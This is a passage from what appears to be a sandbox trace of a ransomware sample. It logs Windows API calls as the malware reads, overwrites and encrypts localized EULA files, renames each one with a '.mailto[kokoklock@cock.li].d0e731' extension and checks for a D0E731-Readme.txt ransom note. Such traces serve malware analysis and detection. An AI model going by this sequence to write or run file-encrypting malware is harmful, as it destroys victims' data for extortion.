lpNumberOfBytesWritten=0x24fbfebc*=0x6c, lpOverlapped=0x0) returned 1 [0080.834] WriteFile (in: hFile=0x52c, lpBuffer=0x342dca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24fbfebc, lpOverlapped=0x0 | out: lpBuffer=0x342dca8*, lpNumberOfBytesWritten=0x24fbfebc*=0x20, lpOverlapped=0x0) returned 1 [0080.834] WriteFile (in: hFile=0x52c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24fbfebc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x24fbfebc*=0x4, lpOverlapped=0x0) returned 1 [0080.834] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dca8) returned 1 [0080.834] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342de10) returned 1 [0080.834] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e068) returned 1 [0080.834] CloseHandle (hObject=0x52c) returned 1 [0080.835] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428080 [0080.835] wcscpy (in: _Dest=0x3428080, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm" [0080.835] wcscat (in: _Dest=0x3428080, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm.mailto[kokoklock@cock.li].d0e731" [0080.835] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_uk-ua.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_uk-ua.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.835] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.835] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428080) returned 1 [0080.835] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm", dwFileAttributes=0x20) returned 0 [0080.836] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd5f0 [0080.836] wcscpy (in: _Dest=0x33cd5f0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.836] wcscat (in: _Dest=0x33cd5f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.836] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.836] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd5f0) returned 1 [0080.836] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0080.836] RtlExitUserThread (Status=0x1) Thread: id = 1030 os_tid = 0x171c [0080.828] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-cn.htm")) returned 0x20 [0080.830] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm", dwFileAttributes=0x20) returned 1 [0080.832] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-cn.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x638 [0080.837] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2503f7c4 | out: lpFileSize=0x2503f7c4*=126241) returned 1 [0080.837] SetFilePointerEx (in: hFile=0x638, liDistanceToMove=0x1ed1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.837] ReadFile (in: hFile=0x638, lpBuffer=0x2503f798, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2503f794, lpOverlapped=0x0 | out: lpBuffer=0x2503f798*, lpNumberOfBytesRead=0x2503f794*=0x4, lpOverlapped=0x0) returned 1 [0080.838] SetFilePointerEx (in: hFile=0x638, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.838] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342df28 [0080.838] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dca8 [0080.838] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342de10 [0080.838] NtQuerySystemTime (in: CurrentTime=0x2503f770 | out: CurrentTime=0x2503f770*=132121176387247460) returned 0x0 [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0x271b0d08 [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0x5ed93d61 [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0x3baa6cb3 [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0x49fa49f2 [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0xd995a7ea [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0x5969d13f [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0x86a94a72 [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0xe25bd314 [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0x21d25c53 [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0x505a13f0 [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0x955c385f [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0xca6a1412 [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0xc4d2fda [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0x8de1183e [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0x935e098a [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0xf0c7534 [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0x5c9de894 [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0xcb454cdb [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0xc0672ab2 [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0x50bd969d [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0xb838cf54 [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0x89d5ce7b [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0xc3bc529a [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0x3825e1ed [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0x36368618 [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0x2146fbbc [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0x83211749 [0080.839] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0xab08578f [0080.840] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0x311072ac [0080.840] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0xd873b4b0 [0080.840] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0x23b5a227 [0080.840] RtlRandom (in: Seed=0x2503f77c | out: Seed=0x2503f77c) returned 0xc909a9 [0080.850] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0080.850] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342df28) returned 1 [0080.850] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.850] SetFilePointerEx (in: hFile=0x638, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.850] ReadFile (in: hFile=0x638, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2503f730, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2503f730*=0x4096, lpOverlapped=0x0) returned 1 [0080.851] SetFilePointerEx (in: hFile=0x638, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.851] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0080.851] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0080.851] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342de60 [0080.851] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342de60) returned 1 [0080.852] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.852] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342df28 [0080.852] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342de60 [0080.852] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342de60) returned 1 [0080.852] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0080.853] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0080.853] WriteFile (in: hFile=0x638, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2503f730, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2503f730*=0x4096, lpOverlapped=0x0) returned 1 [0080.853] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.854] SetFilePointerEx (in: hFile=0x638, liDistanceToMove=0x10258, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.854] ReadFile (in: hFile=0x638, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2503f730, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2503f730*=0x4096, lpOverlapped=0x0) returned 1 [0080.855] SetFilePointerEx (in: hFile=0x638, liDistanceToMove=0x10258, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.855] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0080.855] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0080.855] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e040 [0080.902] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e040) returned 1 [0080.903] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.903] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e040 [0080.903] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342de60 [0080.903] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342de60) returned 1 [0080.903] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0080.903] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0080.903] WriteFile (in: hFile=0x638, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2503f730, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2503f730*=0x4096, lpOverlapped=0x0) returned 1 [0080.903] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.903] SetFilePointerEx (in: hFile=0x638, liDistanceToMove=0x1ac8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.903] ReadFile (in: hFile=0x638, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2503f730, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2503f730*=0x4096, lpOverlapped=0x0) returned 1 [0080.904] SetFilePointerEx (in: hFile=0x638, liDistanceToMove=0x1ac8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.904] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0080.904] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.904] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342de60 [0080.904] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342de60) returned 1 [0080.905] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.905] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342de60 [0080.905] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dc30 [0080.905] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dc30) returned 1 [0080.905] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.905] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0080.905] WriteFile (in: hFile=0x638, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2503f730, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2503f730*=0x4096, lpOverlapped=0x0) returned 1 [0080.905] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.905] WriteFile (in: hFile=0x638, lpBuffer=0x342df28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2503f78c, lpOverlapped=0x0 | out: lpBuffer=0x342df28*, lpNumberOfBytesWritten=0x2503f78c*=0x20, lpOverlapped=0x0) returned 1 [0080.905] WriteFile (in: hFile=0x638, lpBuffer=0x342e040*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2503f78c, lpOverlapped=0x0 | out: lpBuffer=0x342e040*, lpNumberOfBytesWritten=0x2503f78c*=0x20, lpOverlapped=0x0) returned 1 [0080.905] WriteFile (in: hFile=0x638, lpBuffer=0x342de60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2503f78c, lpOverlapped=0x0 | out: lpBuffer=0x342de60*, lpNumberOfBytesWritten=0x2503f78c*=0x20, lpOverlapped=0x0) returned 1 [0080.906] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.906] WriteFile (in: hFile=0x638, lpBuffer=0x342e068*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2503f794, lpOverlapped=0x0 | out: lpBuffer=0x342e068*, lpNumberOfBytesWritten=0x2503f794*=0x8, lpOverlapped=0x0) returned 1 [0080.906] WriteFile (in: hFile=0x638, lpBuffer=0x2503f7ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2503f794, lpOverlapped=0x0 | out: lpBuffer=0x2503f7ac*, lpNumberOfBytesWritten=0x2503f794*=0x4, lpOverlapped=0x0) returned 1 [0080.906] WriteFile (in: hFile=0x638, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2503f794, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2503f794*=0x4, lpOverlapped=0x0) returned 1 [0080.906] WriteFile (in: hFile=0x638, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2503f794, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2503f794*=0x6c, lpOverlapped=0x0) returned 1 [0080.906] WriteFile (in: hFile=0x638, lpBuffer=0x342dca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2503f794, lpOverlapped=0x0 | out: lpBuffer=0x342dca8*, lpNumberOfBytesWritten=0x2503f794*=0x20, lpOverlapped=0x0) returned 1 [0080.906] WriteFile (in: hFile=0x638, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2503f794, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2503f794*=0x4, lpOverlapped=0x0) returned 1 [0080.906] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dca8) returned 1 [0080.906] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342de38) returned 1 [0080.906] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e068) returned 1 [0080.906] CloseHandle (hObject=0x638) returned 1 [0080.906] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428080 [0080.906] wcscpy (in: _Dest=0x3428080, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm" [0080.906] wcscat (in: _Dest=0x3428080, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm.mailto[kokoklock@cock.li].d0e731" [0080.906] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-cn.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-cn.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.907] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.907] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428080) returned 1 [0080.907] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm", dwFileAttributes=0x20) returned 0 [0080.907] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd5f0 [0080.907] wcscpy (in: _Dest=0x33cd5f0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.907] wcscat (in: _Dest=0x33cd5f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.908] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.908] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd5f0) returned 1 [0080.908] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ff58) returned 1 [0080.908] RtlExitUserThread (Status=0x1) Thread: id = 1031 os_tid = 0x1720 [0080.851] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-hk.htm")) returned 0x20 [0080.904] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm", dwFileAttributes=0x20) returned 1 [0080.909] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-hk.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0080.909] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x250bfd48 | out: lpFileSize=0x250bfd48*=147140) returned 1 [0080.909] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x23ec0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.909] ReadFile (in: hFile=0x52c, lpBuffer=0x250bfd1c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x250bfd18, lpOverlapped=0x0 | out: lpBuffer=0x250bfd1c*, lpNumberOfBytesRead=0x250bfd18*=0x4, lpOverlapped=0x0) returned 1 [0080.910] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.910] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342df50 [0080.910] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dca8 [0080.910] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342de38 [0080.910] NtQuerySystemTime (in: CurrentTime=0x250bfcf4 | out: CurrentTime=0x250bfcf4*=132121176388028967) returned 0x0 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0xf36ff429 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0x4a5173f9 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0xb41addd [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0x2dade609 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0xcdef8ac7 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0x2cc45535 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0xa6665414 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0xd958aa52 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0x18e2ecb [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0x7dcfde7f [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0xf00d57cf [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0x93866db7 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0x9b247984 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0xd0ddd90b [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0x3e18f529 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0x7b068327 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0x956ffe08 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0x14bdd1bf [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0x821365ae [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0xe95d3029 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0xcd0b6ea0 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0xb26d3d45 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0xbaf54ba0 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0xf6eae15 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0x4251d32 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0xcd6134e8 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0x38fe9bc1 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0x5f404482 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0x572441f3 [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0xf7749c0e [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0xfc283b6c [0080.911] RtlRandom (in: Seed=0x250bfd00 | out: Seed=0x250bfd00) returned 0xbbe3f0ba [0080.922] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0080.922] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342df50) returned 1 [0080.922] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.922] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.922] ReadFile (in: hFile=0x52c, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x250bfcb4, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x250bfcb4*=0x4096, lpOverlapped=0x0) returned 1 [0080.923] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0080.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0080.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342df50 [0080.923] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342df50) returned 1 [0080.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.924] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342df50 [0080.924] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e090 [0080.924] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e090) returned 1 [0080.924] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0080.924] RtlFreeHeap 